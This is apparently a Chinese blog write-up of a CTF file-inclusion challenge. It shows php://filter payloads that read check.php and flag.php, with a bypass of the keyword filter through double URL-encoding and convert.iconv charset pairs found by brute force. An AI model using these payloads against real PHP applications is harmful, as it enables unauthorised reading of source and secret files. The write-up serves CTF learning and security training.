泰山杯:文件包含

在这里插入图片描述

很明显的一个文件包含点,而且还包含了check.php文件
尝试使用伪协议去读取check.php文件内容
?filename=php://filter/read=convert.base64-encode/resource=check.php
在这里插入图片描述

很明显存在过滤,简单测了下,对read和base64关键字进行了过滤
简单的进行绕过:
?filename=php://filter/=convert.ba%2573e64-encode/resource=check.php
在这里插入图片描述

显示you have use the right usage , but error method,方法错误,换个iconv过滤器尝试下
使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据

convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding> 
 
convert.iconv.<input-encoding>/<output-encoding>

支持的编码字符集如下所示:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
...
#具体支持的编码可见php官方文档:https://www.php.net/manual/zh/mbstring.supported-encodings.php

随便拿两个字符集构造payload进行尝试
/?filename=php://filter/convert.iconv.UCS-4*.UCS-4BE/resource=check.php
在这里插入图片描述

提示使用了正确的过滤器,但用法错误,那可以尝试通过上述字符集作为字典,进行交叉爆破尝试
在这里插入图片描述
在这里插入图片描述

没有看到flag信息,既然能进行任意文件读取了,尝试读下flag.php
根据爆破的字符集构造payload
?filename=php://filter/convert.iconv.EUC-JP%2a.UCS-4*/resource=flag.php

在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值